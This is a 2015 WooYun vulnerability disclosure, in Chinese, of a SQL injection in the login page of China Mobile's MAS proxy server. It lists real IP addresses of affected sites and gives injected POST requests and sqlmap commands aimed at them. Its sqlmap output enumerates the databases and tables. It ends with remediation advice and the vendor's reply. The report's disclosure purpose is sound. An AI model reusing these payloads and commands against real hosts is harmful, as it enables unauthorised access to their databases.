当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0119072

漏洞标题:MAS中国移动代理服务器通用型SQL注入

相关厂商:中国移动

漏洞作者: 路人甲

提交时间:2015-06-09 16:09

修复时间:2015-09-07 18:08

公开时间:2015-09-07 18:08

漏洞类型:设计不当

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-09: 细节已通知厂商并且等待厂商处理中
2015-06-09: 厂商已经确认,细节仅向厂商公开
2015-06-12: 细节向第三方安全合作伙伴开放
2015-08-03: 细节向核心白帽子及相关领域专家公开
2015-08-13: 细节向普通白帽子公开
2015-08-23: 细节向实习白帽子公开
2015-09-07: 细节向公众公开

简要描述:

MAS中国移动代理服务器通用型SQL注入

详细说明:

MAS中国移动代理服务器通用型SQL注入

漏洞证明:

漏洞名称:
MAS中国移动代理服务器通用型SQL注入
漏洞描述:
被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞。 在设计不良的程序当中,忽略了对输入字符串中夹带的SQL指令的检查,那么这些夹带进去的指令就会被数据库误认为是正常的SQL指令而运行,从而使数据库受到攻击,可能导致数据被窃取、更改、删除,以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。
测试过程:
首先,我们来搜索一下MAS中国移动代理服务器在网上有多少用户在使用!我们在fofa.so里面搜索一下,一共有多少个网站吧,如下图1.1-1所示

71.png


(图示1.1-1)
现在我随便拿几个站测试一下,
http://218.204.132.226:8088/masmanage/mas_page/system/login.do
http://218.204.31.130:8888/masmanage/mas_page/system/login.do
http://114.247.163.197/masmanage/mas_page/system/login.do
http://218.204.50.249:8018/masmanage/mas_page/system/login.do
……
其实还有,在这里我就不把所有的链接地址都贴上来,我就拿上面就个网站来测试!
我们先打开一个网站看看先(http://218.204.132.226:8088/masmanage/mas_page/system/login.do
),看看登录页面,如下图1.1-2所示:

72.png


(图示1.1-2)

73.png



(图示1.1-3)

74.png



(图示1.1-4)
这里的注入存在post注入,post注入由于没有对参数的过滤导致的!
接下来,我们先抓包试试,分析一下数据包先。如下图1.1-5所示

POST /masmanage/mas_page/system/login.do HTTP/1.1
Host: 114.247.163.197
Proxy-Connection: keep-alive
Content-Length: 38
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://114.247.163.197
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2292.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://114.247.163.197/masmanage/mas_page/system/login.do
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie:马赛克
loginNo=123456&password=123456&code=2381



75.png


(图示1.1-5)
注入URL:
http://218.204.132.226:8088/masmanage/mas_page/system/login.do
http://218.204.31.130:8888/masmanage/mas_page/system/login.do
http://114.247.163.197/masmanage/mas_page/system/login.do
http://218.204.50.249:8018/masmanage/mas_page/system/login.do
注入参数:loginNo
下面我们测试一下注入点。

POST /masmanage/mas_page/system/login.do HTTP/1.1
Host: 218.204.50.249:8018
Proxy-Connection: keep-alive
Content-Length: 40
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://218.204.50.249:8018
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2292.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://218.204.50.249:8018/masmanage/mas_page/system/login.do
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: 马赛克
loginNo=123465'AND 1=1 OR '1'='1&password=123456&code=2381


我们借助burpsuite来抓包改包,定位到参数(loginNo)为注入点。这里我们为了快速证明注入点的存在的话,那我们借助sqlmap来为我们测试注入点,我就不想用手工注入测试了。
Sqlmap语句:

root@kali:~/Desktop#sqlmap -u "http://218.204.132.226:8088/masmanage/mas_page/system/login.do" --data="loginNo=2883%27%20AND%202883%3d2883%20OR%20%272883%27%3d%272883&password=atestpwdu&code=atestu" --dbs --threads 10 --level 5  --time-sec=20


注入到的过程,这里我们爆出数据库先

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: loginNo
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: loginNo=2883' AND 2883=2883 OR '2883'='2883' AND SLEEP(20) AND 'Sjev'='Sjev&password=atestpwdu&code=atestu
---
[17:51:19] [INFO] the back-end DBMS is MySQL
web application technology: JSP
back-end DBMS: MySQL 5.0.11
[17:51:19] [INFO] fetching database names
[17:51:19] [INFO] fetching number of databases
[17:51:19] [INFO] resumed: 4
[17:51:19] [INFO] resumed: infU
[17:51:19] [INFO] resumed: mas
[17:51:19] [INFO] resumed: mya
available databases [3]:
[*] infU
[*] mas
[*] mya



76.png


下面我们爆出所有表的sqlmap语句:

root@kali:~/Desktop# sqlmap -u "http://218.204.132.226:8088/masmanage/mas_page/system/login.do" --data="loginNo=2883%27%20AND%202883%3d2883%20OR%20%272883%27%3d%272883&password=atestpwdu&code=atestu" --tables --threads 10 --level 5  --time-sec=20


爆出所有表的过程,这里我是把所有的库里面的表都爆出来,所有查询出来的表比较多!

Current database
[2513 tables]
+-------------------------------------------------+
| ACL_table |
| ACT_INFO |
| AMUSER |
| ANSWER |
| ANSWER_GROUP |
| ANSWER_GROUP_DETAIL |
| ASP |
| ActiveDataFeed |
| AdminUID |
| Administratoren |
| Adresse |
| Adressen |
| Affichage1 |
| Affichage1name |
| Aircraft |
| Akten |
| Anmeldung |
| Ansicht1 |
| Apply |
| Artiste |
| Assigned_To |
| Assistenten |
| Association |


上面的表太多,我就不逻列出来!至于数据我就不测试,也不跑出来,我在这里只是友情检测,没做任何破坏,谢谢!其他的链接我都测试过,出现同一个漏洞。在这里我就不一一的罗列出来!

修复方案:

1) 所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。
2) 对进入数据库的特殊字符('"\<>&*;等)进行转义处理,或编码转换。
3) 确认每种数据的类型,比如数字型的数据就必须是数字,数据库中的存储字段必须对应为int型。
4) 数据长度应该严格规定,能在一定程度上防止比较长的SQL注入语句无法正确执行。
5) 网站每个数据层的编码统一,建议全部使用UTF-8编码,上下层编码不一致有可能导致一些过滤模型被绕过。
6) 严格限制网站所用数据库账号的权限,给此用户仅提供能够满足其工作的权限,从而最大限度的减少注入攻击对数据库的危害。
7) 避免网站显示SQL错误信息,比如类型错误、字段不匹配等,防止攻击者利用这些错误信息进行一些判断。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-06-09 18:07

厂商回复:

重复漏洞,CNVD不再重复处置

最新状态:

暂无